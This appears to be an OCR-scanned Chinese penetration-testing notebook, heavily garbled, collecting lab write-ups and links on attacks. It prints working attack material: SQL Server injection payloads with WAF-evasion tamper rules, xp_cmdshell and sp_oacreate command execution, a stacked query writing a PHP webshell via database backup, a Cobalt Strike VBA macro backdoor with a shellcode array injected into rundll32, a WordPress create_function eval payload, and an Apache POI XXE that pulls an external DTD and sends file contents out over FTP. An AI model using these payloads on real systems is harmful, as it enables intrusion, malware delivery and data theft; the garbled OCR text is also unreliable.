[08:31:07] [WARNING] HTTP error codes detected during run:

400 (Bad Request) - 4 times, 500 (Internal Server Error) - 4 times

[08:31:07] [INFO] fetched data logged to text files under '/root/.sqlmap/output/ggz

[*] ending @ 08:31:07 /2019-12-14/

== I https://blog.csdn.net/gc

0x04 xp_cmdshell

FX—HHRE, FRBEB T —EE, SQLMAPiEHHexec master...xp_cmshell BHMEM IR T, BEN/ESRERINETE exec.
master , TRREERKtamperinFa):

payload.replace("exec","/***/Execute/***/")

payload.replace("master.."," /***//***x /")

AR /*%*/execute/***//*** /xp cmdshell/***/'whoami"

HERE, EREENT, BI6OLET !

Connection: close

I"Message":"Svstem.Data.SqlClient Sql Exception (0x80131904): 24T

xp_cmdshell fYEFE R HES. 15 \W0027CreateProcess\u0027 :

S, $5IERAD 002750027, S\in at .

Svstern.Data.SglClient. SglConnection OnError(SglException exception, Bople:
I BreARl annecton aeton T arant [osenacnon e ar

XAError Code 5, #WindowsHI4ERMAME, X EBHZ: “HELEUNA".
WExp_cmdshel# 28R %L T, H&sp_oacreateSiiZA] LAF F -

SERZH BRI —RXFE: Regsw32olexf 5

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell, 'run’,null, 'c:\windows|

\system32\cmd.exe /c whoami >C:\who.txt"'


https://payloads.online/archivers/2019-07-19/1

JE SRR IIZIR S B ICIE LN, R 5 2

F BT AT BRAE R A2

0x05 5 A XL

SRR, RIRHT RENNE, HAEHERTRWSAEREXF, L5 XHNRERTHESRSSRER.

—IFaa i B2 fxp_cmdshell, RHlecho%x S, HETCEEIATHS, BUELESR, WT —OREE, Bk, EEIHE
P& 75 2K

R

{"ClientType": "", "ClientGuid": "©@9a37eel-5ec3-46db-9279-4cb066622e8d", "ModuleType": "A2501';use test222;creat
e table [dbo].[test2] ([cmd] [image]);insert/***/into/***/test2(cmd) values(0x3c3f70687020706870696e666128293b3

3e);backup database test222 to disk='C:\test2.bak' WITH DIFFERENTIAL,FORMAT;-- ", "IsBackEnd": false }

TR E] IEH
B, FEu R E RSB RF Y ? 7EBurp B AR 3R H R !

BAL/ZHTHIIS 7.50, ISTERWEI—MERIE, & HIBEIEEITUnicodefifid, MRMEBBE. WAFANSIRFHAFERIE, Bt
FTCAREAT SR, 3 B3R AR IR T SO H R 1

[CientType'] ™, "ChentGuid™ "08 id”, "oduleTvpe”: "A2501" backup database
VITH DIFFERENTIAL FORMAT - - ", "IsBackEnd”

rest222 to di u00ETWD03a

1 Zahul
false }

BIXBCRER T, BIFBAH BT Getshell, 2 [BIBHAM o 17 B BT X, FHEBKFHM!

() PN

https://payloads.online/archivers/2020-01-01/3

2.2.11 XX BURTH

2.2.12 Pentesterlab Xss

https://pentesterlab.com/ --EWN
https://download.vulnhub.com/pentesterlab/web for pentester i386.iso --#%#f

https://blog.csdn.net/he_and/article/details/79798958
https://www.andseclab.com/2018/11/11/pentesterlab-xssifiE/
http://secpark.com.cn/articles/2018/05/28/1527502530234.html --1REM

SR E R T pentesterlabEHLHEITXSSEBE! ! !

2.2.13 Office’s K1 2 A F H

Bl &



Office’, ¥ HIXHiAMacro. % ROffice B I — i S AR5, BEVBARES, 7T LLFEOffice % 58 MU TS & HIE S

MABEERARKSE, BERERE P SO —2ES B30, T0RRS R — M &£ SO BBER 1R P I TR .

BATTFRXFERISCH, HPRERSBEHIIT, TREREMSBEIE, BRBITHHEN L, FFEBEENormaltiik b

Visual Basic for Applications (VBA) #&Visual Basicll—FZEiES, RMHIT A HREHR SmNAREFHHATIERK 3
(OLE)YEFHIMwIZET . EERARY BWindowsHI M HEFTEE, 37 ZMicrosoft Office#ft, AT Ui 2 —Fh 2 F AR XA 54k

iBasic 4
FIEAEA

Windows 7 x64 HEARRR
Microsoft Office 2016

CobaltStrike 3.14

CobaltStrikeZ: B %

567 F CobaltStrike 4 fi 7= payload, # Tk R E i Aword. excelZpptEI Al

| | Packages 4l HTML Application
Web Drive-by * |[F¥¥e]iila- 0 Elat]
Spear Phish Payload Generator
Eternal Blue USB/CD AutoPlay
Windows Dropper
Windows Executable

| external

Windows Executable (S)

£ 2 % Word

-

. Paste the macro
. Close the macro editor window
. Save the document as a macro-enabler ds;

SCwmNOUVAWN

_ Follow these steps to add this Macro to a Microsoft Word or Excel document: |

1.
. Go to View -> Macros -> View Macros

. Change Macros in to the current file

. Give your macro a name (any name is OK)
. Click Create

. Clear the editor

Open Microsoft Word or Excel ®

0 Copied text to clipboard

Press Copy Macro to copy the macro to you

Copy Macro 1

FTIFWordXX#%, wili “Word 31 — B E XIREX — JF K& TR (A%) — e’

&4 @%gﬁxmﬁgmﬁamﬁmo

MTHIGRIEERS €): G

[FE&E

#1F

WS
{EA S THINSTH
fEAdE

i EE

A EAR
E&Z\m
TEER

2%

BhitE

R

17
FIENFREIFOFTEN
B F i

BEXEE
RiEipiaTEE
I
(EEhRL

IR vmBEEIG IO

oxl

k;

EXFHREREL.

s ..

&l

ta=hl

gl ]| ’
THEE EliE

=

%8

RIS H A

ST

-049)
BEEAFRFENEEE
(HilE

wRET

B

.
i & e mtl

mixRE

AR

(il &5

BEXHE ®): ¢
|EiRIn+

ESA0E
ElrEs
Rl
=
® R
M #
M {iE
& W iE
W Eit
H VAR
# v 5|F
& [V B
® v EiE

1 7 105
|II -

5
BV s

H v iEETE

® W i (85T E)
=l

® VB

{m

FREREW | | FREA® &EW... |

=2 -'

B

|



Hie A L Em &) J

REEESE: | BEXO©. . [Erveto -

WMEERARE, B FFkIHE — Visual Basic”

b @it

K3

M Word COM MIEEH
HIT IS

M=

Macro backdoor ! .

M “ThisDocument” , ¥ JRAH N ALEIES, MJEHKCobaltStriket i Fpayload & # ks #E =, RFFHXH 1% VBA 4iiE s
=IOl x|
& THE EED HEY EAD #FX0 EIo =5 IBED JMEERe s00 EBHo -8 X
BE-H i RBRA 9 e NS R Q TS l

[ =] [huto_Open =l

Frivate Declars FurSafe Function CrestsStuff Lib “kernel®” Aliss “CresteRenotsThread” (By¥al BProcess As Long, By¥al IpThreadhttributes As Lomg, ByVal deSteckSize hs Long EyVal 1pStarthddress :I
Frivats Deelers FirSafs Function AllecStaff Lib “kernel?” Aliss “Virtealhllocks” (el Wrocess hs Long ByVal lphddr ks Long, ByVal 13ize As Lemg, ByVal flAllecstionTyps ks Long, ByVal flProt

Seruul Frivats Declars FirSafe Function ¥riteStuff Lib "kernel32” Aliss “¥ritsProcessMemory” (ByVal hFrocess hs Leng, ByVal 1Dest As LongPtr, ByBef Source hs Any, ByVal Length ds Leng, Dy¥al Lengthi¥rot.
- 3 Microsofe Yord HE Privats Declars FirSafe Function RanStuff Lib “kernel32” Aliss “CreateFrocessh’ (yVal lphpplicationMame s String ByVal lpComsandline hs String, lyProcesshttributes As hny, 1pThresdAttributes i
-4 #Else
Wl Newlt Frivats Declars Function CreatsStuff Lib “karnsl32” Alias “CrosteRemoteThread” (By¥al WProcess As Lomg ByWal 1pThresdhtiributes As Long, ByVal daSteckSize As Long FyVel 1pStarthddress ks Long,
_ TN Frivats Daclars Function AllecStuff Lib “lernal3” Alissz “VirtualkllecEx” (ByVal hProcess As Long, ByVal lphddr As Long By¥al 1Size As Long, ByVal £lK1locationTyps As Long, ByVal ElProtact As Li
= 8 Preject CEE§1) Frivits Declars Function ¥riteStuff Lib “kernel32” Aliss “NriteProcassMamory” (ByVal hFrocess hs Long ByVal 1Dest s Long, DyRef Source As hny, ByVal Length hs Long ByVal Langthfirets As Leng) i
185 Microsoft Yord 7{ Frivate Declars Function RunStuff Lib "kernel32” Aliss “CreateFrocessh” (yVal IphpplicationMame As String. ByVal lpCoemsndline hs String 1pProcesshttributes As hny, 1pThresdAttributes hs Any, 1
#Fed If
-1 31/ Sub Auto_Open ()

Tin nybyte As Lomg, nyheray ks Variant, offvet ks Leng
Dim plngo As PEOCESS _INPORMATION
Dim sInfe As STARTUFINFO

Dim sHull As String
RR Dim sProc As String !

#IE VBAT Then
Dim rvxpage As LongPtr, rus As LengPir|
#Elze
Dim rwxpsge As Leng res hs Long
ayhreay ~TI8, O, O, 0, OB, 118, =21, %5, 48, 100, -117, BE, 485, -117, B, 1%, 117, B2, 20, -1IT, 119, 10, 15, 73, T4, 36, a3, -1, 49,
13, 1, =51, =30, =117, B2, 16, =117, 86, €0, 1, -48, 11T, 84, 120, =123, =64, 118, Td, 1, =48, 80, =117, 72, 24, =117, 86, 3g, 1, =45, -29, 80, T3
1, -57, S, =32, 117, -i2, 3, 125, -8, 99, 125, 38, 117, -30, 88, -117, 86, 3, 1, -45, 102, -1i7, 12, T, -7, B8, 28,
o, §9, %0, B1, -1, -3z, @B, 95, 90, -117, 16, -21, -122, ©3, 104, 110, 101, 118, O, 104, 115, 105, 110, 105, B4, 104, 76,
{21, -89, 1, -43, =23, -124, O, . B, . 104, &1, 48, 0, 0, 83, B0, 104, BT,
0, 2, 84, -124, B2, B, B2, B, , 104, ~21, 85 , ~q3," -58, -1g5, -6i, B0, 49, -1, &7, &1, 108, -1, 63, 88, _
-124, 81, 1, O, O, 49, -30, 93, -1, -43, -119, -83, 1M, 83, ¥, 94, 43, -1, _
=13, 87, », 11, 1, '63 1, 0,0, =23 58, 1, 0, 0, =24

, -1 , B, % 1 -
. -102, =BT, -12, 38, 90, 59 101, 90, 124, =128, 59, 23 80, 14, -82, 117, -lns BT, 3T, -100, 127, -96, -4, 29, 21,
; 1:-1 45, B5, 103, 101, 110, 116, 58, 32, 17, 111, i22, s, 10e, n:ﬁ of, 4T, 52, 45, 48, 32, 40, 93, 111, 108, 11g, 97, 116, 105, %,
18, 59, 32, 8T, 105, 110, 100, 111, 119, 115, %2, 78, =2, 43, 41, 13, 10, O, -82, 9T, -40, -79, -5B, ~TS, -85, 53, -42, 21,
-m ‘92, 102, -T4, -7, -55, TS, -T0, -10B, -5T. 04 32, ms —gJ, m “-100, 107, -15, -5, 31, ©E -111, -9%, 19, 60, -i0e, -127, -5,
-3, B4, 124, -112, 43, 32, -83, -B2, 127, -63, -110, -10S, 51, -i5, —62, 30, -12, 96, 72, 9%, 75, -33, -96, -59, TO, B4, -12B, -1%5,

. BT, =20, _
-5, 128, 94,

-m 105, =41, ~114, B, =21, ~28, 5T, 80, &3, 43, -54, 18, 28, “ge, -ga, -108, 31, -115, 101, =23, -100, 31, B, T8, 118, -2, , , =Ti, -8, =25, _
=20, 57, 38, =78, 21, 2, 86, ~d5, 18, ~17, 65, 98, Si, B, =3, B, 123, 103, 98, 1. ~109, 32, i1, 12, -ST, 81, 35, 84, =59, 28,
48, 30, -23, 18, -B5, 19, 4, 49, 5, -83, -100, -107, 70, Jrs ‘39, T2, -43, -90, -2, 116, -5, 16, B4, -84, &1, -B7, B, 88, -63, -105, -38, 108,
12T, €2, =37, 19, 61, =35, -1z, 101, -10, 111, 7A, =25, ~44, 40, 39, -108, -3z, 21, 123, -18, 0, 104, -18, -75, -04, B8, -1, -43, 108, 64
, B4, O, BT, 104, 88, =02, 83, =27, =1, =43, =108, =T0, 0, 0, 0, 0, 1, =39, 81, 83, -118, ~55, 67, lua u :Q 0, 0, B3, BB, 104, 16, =108, =119, =30
123 ted 116 -58, -1IT, T 1 -51 -m -84, 11T -PT, ‘@B, -8l -4, ~B] -3 -1 -1 43 52 ST 48 B0 50, 55 48, 58,50 0, 80, 31, -58 66

Ir Lﬂ)\LEh\'Irml Fr

sProe = Enwiron vlnd;r') H ‘\\Sy:l’ﬂl’ﬁd\\rm\dllﬁ? e’
Else

sProe = Enwivon(eindie”) & “V\iZystend2)irandl132, exe”
End TE

vz = BusStuff (Wull, sProc, ByVal OB, ByVel Ok, ByVal 1&, ByVal 4b, ByVal OB, sull, sInfo, pInfa)

renpags = AlloeStuff ipInfo. Wrecsss, 0, UBsund inyheray), &HI000, AHSO)
For offset = LEound vay) To UDeund (nypker sy
ayByte = nyhrray (offzet)
ros = WritsStuff (pInfo WPrecess, rwxpage + offset, mybyts, 1, By¥al 040
Fext offset
ves = CrasteSinff (pInfo, BProsass, 0, 0, rexpsge, 0, 0, 0) .
End Sub r
Eub Autelpen ()
huto_Oper

4l ) &= EXI| |

T NI WordZk 8 45 0 B % "Word 97-2003 C#% (*.doc)’s BP doc 30, {RIEMRKRATRT LT H . ZJERA, BRI H#ITER
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BN v FEENHRE - v @
W S\

| FifriRiolEss - =5 ] Administrator
s iﬁﬁﬁlﬂmmﬁ | == Zgvritsk ? Et s vg kel
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Tk () IFHa-:r-:n backdoor. doe

{R7FZERI(T): [Word 97-2003 374Y (% doc)

Ll L]

fF&: L

EFﬁﬁ* (*. dotm)
Word 97-2003 % (*. dot)
FDF (k. df)

XPS E (¥, xps)

F [:nc mht ;% mhtml)
- pEE| i e
r}aﬂi JeJrT Gk, him;*. hinl)
R

* txt

Word XML 3744 0k xml)
Word 2003 XML 5745 (k. xml)
Strict Open XML W44 (% docx)
Openllocument 57 (%. odt)

& 3 Beacon shell
?JMTE{ET Office E&EZR T A %, BASTEFT FFWord SCAY B i & H 38 %0
e
S IIEE i
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S C SEEEE. $ATRNQ
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Visual Basic & Word COM TR e XML ERETEETS HINEE IRHEIRE | XEEREMm
L EESME S0 MM = - s

KB INSET =4 BRET FF i

| ReBx oREBA. ERRE

. ——

Nacro backdoor

E_ﬁ_ﬁﬂ)ﬁﬁi,__ CobaltStrike¥]Beacongi < 2k, Bl EIh#EU EIShell
Cobalt Strike View Attacks Reporting Help

R O EH=¢ B8ELPU BN /e B G

external internal ~ user computer note
22 192.168.144.159 Administrator * WIN-63F4SS3)4...

Event Log X | Beacon 192.168.144.159@4904 X‘

beacon> sleep 10

[#] Tasked beacon to sleep for 10s
beacon> shell whoami

[*] Tasked beacon to run: whoami

[+] host called home, sent: 53 bytes

[+] received output HF @FAZ A

Win_63f4553j 4q8\admini5t rator http: g.csdn.net/qq_. 1745

FAREG ST

CobaltStrike 2 B ERINFIVBAL 5 A Y MWindows APIF 3, 5 JLEIShellCodeinaSs {8




CreateRemoteThread @7 —/NEHE#EMNE S E 2T AR (B : QB TELRE).

irtualAllocEx &% HERR A RE $0L 2 1) 4% B BRAR 22 P9 77 (X 33
WriteProcessMemory 5 AJE—3EFE N X I,
CreateProcess BI&—MNHTHBHERE 1 E LR, XAFHIRBITHEE W47 304

Hd Array(-4,-24,-119,0,0,0,96,-119,-27. .. Hi&ShellCode, BIERIIMNEHIRLFh
ShellCode ] LA H /£ VBA B k& Lk inG AN o & H 381, BITHRE-1, BEER ...
SELE:

https://zhuanlan.zhihu.com/p/98526727 - - BRI ERA R K S &

2.2.14 Java-security-calendar-2019-Candy-Cane
B

://www.ripstech.com/java-security-calendar-2019/

://www.leadroyal.cn/?p=914 --91024%Java B IXXE
://www.leadroyal.cn/?p=930 --91024 Java R FIXXE HIBHH
://xz.aliyun.com/search?keyword=Java+Security+2019 ---Ripstech Java Security 2019 CalendarEI A% (1-4)

RERAEHHCE, R L {EEEF! !

2.2.15 Discuz Ssrf Rceli i 7 tr ik &

RER— AR T

https://cloud.tencent.com/developer/article/1511949 ---83
://xz.aliyun.com/t/2018 ---Discuz!EMemcached KAL) jH S 2 HKIRCE
://cn-sec.com/archives/76754.html ---https://cn-sec.com/archives/76754.html

://www.freebuf.com/vuls/191698.html ---Discuz x3.4H[ & SSRFIKHFEZSHT

://hackmd.io/@Lhaihai/H1B8PJI9hX --SSRFESZEIE

A—RIREZEMEHCE, EREKRE! | | REHEET

2.2.16 WordPressiZ & XX A A $4T IR TH 2 Hr
0x00 J% A 1k
1. BFFEAN

WordPress&— APHPHIMySQL N & 1 B IR IR A FI A A EH R4, 1E github
(https://gist.github.com/anonymous/908a087b95035d9fc9cad6cefd984e97) IR HIIXBE— AN, FEH<=46. 174+, WHE
W 3k P s AR BT A BT 38 & SO R A s . ER . SRS S RTINS, BT AT R ARAS

2. WHEPW



AL HIAT, EHUTHAER:

Wi W DB B CHERTE S O, BREEFIZES XA &Sk

PO i A5 P B o B AR IS A B8 B SO R I R SRS AT R

REBE-ANELG RPN T BlE TSR T MRS RES SO, I ESCT AR AR A ah AR R B B SO A
PEEEAT RN, ARG MG B S T R 2 A A R R U TR

3. WA
0x01 i E I

1. FEBRE

pull wordpress:4.6.1

pull mysql

run --name wp-mysql -e MYSQL_ROOT_PASSWORD=hellowp -e MYSQL_DATABASE=wp -d mysql
run --name wp --link wp-mysql:mysql -d wordpress

2. WHGH
HRBRITREZXFE— 175
= create_function('$a,$b', 'return "$a + $b =" . (Sa + $b);}echo "OUT\n";/*');

"New anonymous function: Snewfunc\n";
= /tmp php 1.php

PHP Warning: Unterminated comment starting 1ine 1 in /tmp/1.php(2) : runtime-created function on line 1
PHP Stack trace:

1. {main}() /tmp/1.php:®

2. create_function() /tmp/1.php:2

New anonymous function: lambda_1

FEVAM create_function i, TATENY } HEREMAE, HMBEAEZPTHAEEBEN /~ BEEALENRTERE, &
Ja BMEBRAIBA A IR B R A, BATRIMEH AT BARRE AT T . 2Bk, REAN create_function P EEH

T eval RPATHAED, TAIEPHP T LAH B

15t BA

string create_function ( string $args , string $code )

Creates an anonymous function from the parameters passed, and returns a unique name for it.

Caution This function internally performs an eval() and as such has the same security issues as eval(). Additionally it has bad

performance and memory usage characteristics.

If you are using PHP 5.3.0 or newer a native anonymous function should be used instead.

BT UL F XA, R BATRI LLIEH] create_function ] $code 281, WA THEBRRBEHATHIIEE. X EEH—
T, create_function X/MRIFHF H80sectE084FE R, X B IANHEEIENSE:

https://www.exploit-db.com/exploits/32416/
https://bugs.php.net/bug.php?id=48231

http://www.2cto.com/Article/201212/177146.html




BT RBEAIFEWordpressH — 4 F create_function KIHLJT, 7E wp-includes/pomo/translations.php 55203-20917

/**

* Makes a function, which will return the right translation index, according to the
* plural forms header

* @param int $nplurals

* @param string $expression

*/function make plural form_function($nplurals, $expression) {

$expression = str_replace('n', '$n', $expression);
$func_body =

\$index = (int)($expression);

return (\$index < $nplurals)? \$index : $nplurals - 1;";

return create_ function('$n', $func_body);

WRIEVERE AT LLE 2% B BV B —ARYE 4R Sc 4 i plural forms X/ Nheaders & i $i3FiR B, H A $expression FI T4
% $func_body , T $Ffunc_body 1EA $code ZHHENT create_function, FTLARERIEH] $expresstion HIME.

BONE—FEEK M zh_cNomo , HFHIXA—E:
202 MIME-Version: 1.0
203 Content-Type: text/plain; charset=UTF-8
204 Content-Transfer-Encoding: 8bit
205 Plural-Forms: nplurals=1; pluralzm;
206 X-Generator: Poedit 1.8.7
207 Project-Id-Version: 4.3.x

Plural-Froms X/~headerkf & L I K & BT 75 BALFRK), H nplurals K{EEIA $nplurals HI{E, T plural HMEIEREA]ITH
EIY $expression HIfE. BT ABRA I 2R SCAH#EAT 40 F 2esh:

202 MIME-Version: 1.0

203 Content-Type: text/plain; charset=UTF-8

204 Content-Transfer-Encoding: 8bit

205 Plural-Forms: nplurals=1; plural=n);}eval($_ctT[c]B/*;

206 X-Generator: Poedit 1.8.7

207 Project-Id-Version: 4.3.x%

RIEBAHE G & EF MBI T, R T3S, TU%@WTE?

function make plural form functlon{ﬁnplurals $fexpression) { s$nplurals: 1 ression: "$n);}eval($ GET[c]);
$expression = str replace{ n', '$n', $expr9551on}
$func_body = s fumc t\t\tsindex = (int)($n);}eval(s GET[ci);/*);\n\t\t\treturn ($index < 1)7? sindex : 1 - 1;
\$index = {1nt}{$expr95510n} $expression: "sn);}eval($ GET[c]);/*

return {\$;ndex_< $n-lurals}’ \$1ndex : $nplurals - 1;"; snplurals: 1

RAilpayloadH 1) ) BAMATHEKN (,» AfE: SRMAMIER, BERBRIMNW—AEARS, REH /* BiEEALERIS
ERE, @i, RAIHKpayload BB MFENT create_function , 7EH A% KRB RATH payload i & AT, BT VA&
AN ST A B AR B FH X AN o AR SO AT PR 45 SR SO AT BB, B CARATT U 104 4T ST 4430 BT DA A % 31X A payload :

127.0.0.1:8088/wordpress/index.php?c=phpinfo();
E B#X BE2EA BE2TE ETE BER BmPL B Python B8 CTF M 2% k& -ThHE @ Python2.7.11do. By Google #8iF Aria2 Web Fron

PHP Version 5.5.9-1ubuntu4.19 F?’IF?.

System Linux lab 4.2.0-42-generic #49~14.04.1-Ubuntu SMP Wed Jun 29 20:22:11 UTC 2016 xB86_64
Build Date Jul 28 2016 19:30:57

Server APl Apache 2.0 Handler

Virtual disabled

Directory
Support

Configuration | /etc/phpS/apache2
File (php.ini)
Path
Loaded fetc/phpS/apache2/php.ini
Configuration
il




Scan this dir |/etc/phpS/apache2iconf.d

for additional
.ini files

127.0.0.1:8088/wordpress/wp-admin/tools.php?c=phpinfo%28%29%3B
IE MK BEZE2EA BE2TE B TE BiER BmPL B Python B8 CTF B 35 t&-EHRE @ Python2.7.11do. By Google §i% Aria2 Web Fron

System Linux lab 4.2.0-42-generic #49~14.04.1-Ubuntu SMP Wed Jun 29 20:22:11 UTC 2016
XB6_64

Build Date Jul 28 2016 19:30:57

Server API Apache 2.0 Handler

Virtual disabled
Directory
Support

Configuration |/etc/php5/apache2
File (php.ini)
Path

Loaded [fetc/php5S/apache?/php.ini
Configuration
File

Scan this dir |/etc/php5/apache2/conf.d
for additional
.ini Files

H P index.php?c=phpinfo(); HMIRERAAERIT:

= translations.php:204, Gettext Translations->make_plural_form function()
| @ translations.php:269, Gettext_Translations->set_header()

3 translations.php:69, Translations->set_headers()
mo.php:248, MO->import_from_reader{)
mo.php:27, MO-=import_from file()
l10n.php:564, load_textdomain()

3 110n.php:649, load_default_textdomain()
wp-settings.php:364, require_once()
wp-config.php:89, require_oncef{)

- wp-load.php:39, require_once()
wp-blog-header.php:13, require{)

| & index.php:17, {main}()

0x02EEEHE
TRHREFRAAATIT L, 8EEREEZERIN, PEFAREAENZEE. Ht. FEESE
STFFEERG, BT $expression H GRS 3T IE, HlU0:

$not_allowed = array(";", ")", "}");

$experssion = str_replace($not_allowed,

, $expression);



https://www.seebug.org/vuldb/ssvid-92459

https://gist.github.com/anonymous/908a087b95035d9fc9ca46cef4984e97

http://php.net/manual/zh/function.create-function.php

https://www.exploit-db.com/exploits/32416/

https://bugs.php.net/bug.php?id=48231

http://www.2cto.com/Article/201212/177146.html

https://codex.wordpress.org/InstallingWordPressinYourLanguage

https://cloud.tencent.com/developer/article/1078451 --1E3C, R

2.2.17 Struts2iz 2 iy & P47 s2-048% 1 73 Hr ik &

https://www.ichungiu.com/course/58753  --HFHKIIH#
http://blog.topsec.com.cn/strutss2-048mLE M S HATIRIA T/ - -FU/RIEL =
https://www.freebuf.com/vuls/140410.html --EI

https://www.jianshu.com/p/@5efdc8f4301 --EI
https://www.jianshu.com/p/356291fb26a2 --EI

https://www.zybuluo.com/Dukebf/note/821989  --strut2&hAIEIRA{E BB

RER—MRIAT ... 23T BB~

2218 &L Aphp—a)iE (BEDE, W5, Z£%)

https://www.cnblogs.com/ABKing/p/13515014.html --20204F8H B —AEARD %R (H 120208 H16HBARADE . &M, b,
webshellKiller)

https://mp.weixin.qq.com/s/1Exi2_y4NkTak735kpz4ug --2020%E8H Wit HE Kk /R fiwebshell

BHEIRETTE, REAHE LRTERKRE, THEH! !

2219 ¢RE R RAREWF T (A AT !

http://www.djbh.net/webdev/file/webFiles/File/jsbz/201232310276.pdf ---E5RZEHAEBZEXNKITMAEMRTE

http://www.djbh.net/webdev/file/webFiles/File/zcbz/201226173039.pdf ---fERZEFARERRAREETHER

FA w1

BEEKHIE . =it ATERAXRESIX BRI N A RIT L FHIRIT . MERITEFIXE TS ZENFERE, &
T34 5 B R AT BEAFEE AN S R R 5 JE R, I8 A R il

FrilA iR et B RA RSV TEZRARTNEY, XER@ES, W EMZES T K EEH '

2.2.20 Apache-Poi-XXE-Analysis



S ICVE-2019-12415. CVE-2014-3529
0x01 iR

apache poi XA SEFR L7E java LA EE B, ZAEMEZERTE word S EE excel XX ARNNLS R TR AFT
Fs, XL RN ROUESE—RNFE, FUSRMEERZ MR,

0x02 3 ¥ 4t

CVE-2014-3529

apache poi 7£3.10.1 2 R FEXXE IR i
Wi R

AT

import org.apache.poi.EncryptedDocumentException;
org.apache.poi.openxml4j.exceptions.InvalidFormatException;
org.apache.poi.ss.usermodel.Sheet;
org.apache.poi.ss.usermodel.Workbook;
org.apache.poi.ss.usermodel.WorkbookFactory;
java.io.FileInputStream;

java.io.IOException;
class CVE20143529 {
public static void main(String[] args) throws IOException, EncryptedDocumentException, InvalidFormatExceptio

Workbook wbl = WorkbookFactory.create(new FileInputStream("test.xlsx"));
Sheet sheet = wbl.getSheetAt(9);
System.out.println(sheet.getLastRowNum());

//pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.apache.poi</groupId>
<artifactId>xxe</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>org.apache.poi</groupId>
<artifactId>poi-ooxml</artifactId>
<version>3.10-FINAL</version>
</dependency>

</dependencies>




&% excel XXfFH K [Content_Types].xml « /xl/iworkbook.xml . /xl/worksheets/shee1.xml F ¥ AT %Il xxepayload fil R JgiF, &
% FFALE [Content_Types].xml ST #R i

=R IT=HERY ITHER == EolORg
- (ERB=R) =
_rels s
docProps Mg
x| M=
D [Content_Types].xml 1.1 KB 1 KB XML 3 2019-12-13 10:32
| [Content Types]xml - i2=% - O X

MEHF) REE) B0 EFV) #EIH)

|<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://127.0.0.1:8080/ext.dtd" > %aaa;%ccc
<Types xmins="http://schemas.openxmlformats.org/package/2006/content-types" > <Default E:

127.0.0.1 - - [13/Dec/2019 10:35:16] "GET /ext.dtd HTTP/1.1" 200 -
info: FTP: recvd 'USER fakeuser'

info: FTP: recvd 'PASS .BBE72B41371180178EO84EEAF106AED4F350939DB95D3516864A1CC
2E7AE82F

.keystone_install_Llock

.5.PGSQL. 5433

: 5. PGSOLT54 383 kgl

adobegc. log

AlTestl.err

AlTestl.out

com.app le. launchd.qeMSjMqgctb

com.sangfor.ca.sha
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iR 53t
IEFELE WorkbookFactory.create &b F—AMWi s, —2BF RN, KZET OPCPackage X/~

public static OPCPackage open(InputStream in) throws InvalidFormatException, IOException {
OPCPackage pack = new ZipPackage(in, PackageAccess.READ WRITE);
if (pack.partList == null) {

pack.getParts();

}

return pack;

EXANRE, HinewT —A ZipPackage FERMENTHIN, FRIESRIR ISR ANNEH zip KRB RO R T



ZipPackage(InputStream in, PackageAccess access) throws IOException {
super(access);

this.zipArchive = new ZipInputStreamzZipEntrySource(new ZipInputStream(in));

G TE, BT —MNMEEMAA T pack.getParts(); 7%, i getParts

public ArraylList<PackagePart> getParts() throws InvalidFormatException {
this.throwExceptionIfiWriteOnly();
if (this.partList == null) {
boolean hasCorePropertiesPart = false;
boolean needCorePropertiesPart = true;

PackagePart[] parts = this.getPartsImpl();

XERAERAAR SER, BRM—SBRT, §AEHT —/Mhis.getPartsimpl(), FRHEIXAHE, EXANHFEREER T —
AMBERE AR TG, FATRINIRZLE [Content_Types].xml X4 #inpayload, X B I T XA 04

PackagePart[] getPartsImpl() InvalidFormatException {
{

( .partList ==
.partList = PackagePartCollection()

.zipArchive == ) {
(PackagePart[]) .partList.values().toArray( PackagePart [ .partList.values().size()])

Enumeration entries = .zipArchive.getEntries()

ZipEntry entry
(entries.hasMoreElements()) {
entry = (ZipEntry)entries.nextElement()
(entry.getName().equalsIgnoreCase( ) o
{

.contentTypeManager = ZipContentTypeManager( .getZipArchive().getInputStream(entry) ); entry: "[Content_Types].xml"

(I0Exception var8) {
InvalidFormatException(var8.getMessage())

hitps:/biégicsdr: net/n-84809-745

k4R R ZipContentTypeManager iXAN2K, Rtz E4 KM, ERAKRZ BRI ContentTypeManager K17 ib 2

public ZipContentTypeManager(InputStream in, OPCPackage pkg) throws
InvalidFormatException {

super(in, pkg);

i3t ContentTypeManager , F B parseContentTypesFile 42 T AT

ContentTypeManager(InputStream in, OPCPackage pkg) InvalidFormatException {
.container = pkg
.defaultContentType = TreeMap()
(in != ) {
L
.parseContentTypesFile(in);| in: ByteArrayInputStream@579
(InvalidFormatException var4d) {
InvalidFormatException(

hitpg?ilog. cédmnetiac 134801745

BRi3 parseContentTypesFile & T2 T XXEKIfih & &

parseContentTypesFile(InputStream in) InvalidFormatException {

SAXReader xmlReader = SAXReader()
Document xmlContentTypetDoc = xmlReader.read(in); xmlReader: SAXReader@582 in: ByteArrayInputStream@s79
IS T aeTauTtTypPeES = Xl CCOMCEN T Ty PEDUT: GE TROULE CEMENT () € tements | )

Iterator elementIteratorDefault = defaultTypes.iterator()
https:/blbgiesdn.fietdal 34801745
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parseContentTypesFile:377, ContentTypeManager (org.apache.poi.openxml4j.opc.internal)
<init>:105, ContentTypeManager (org.apache.poi.openxml4j.opc.internal)
<init>:56, ZipContentTypeManager (org.apache.poi.openxml4j.opc.internal)

getPartsImpl:188, ZipPackage (org.apache.poi.openxml4dj.opc)

getParts:665, OPCPackage (org.apache.poi.openxml4j.opc)
open:274, OPCPackage (org.apache.poi.openxml4j.opc)
create:79, WorkbookFactory (org.apache.poi.ss.usermodel)
main:12, CVE20143529

FHER
n] UE BB E 77 ok xmIReader.read(in) 22 T SAXHelper.readSAXDocument(in)

private void parseContentTypesFile(InputStream in) throws InvalidFormatException {

try {
Document xmlContentTypetDoc = SAXHelper.readSAXDocument(in);

SR JGTE org.apache.poi.util. SAXHelper 1§ T — L& xxe PR i
CVE-2019-12415

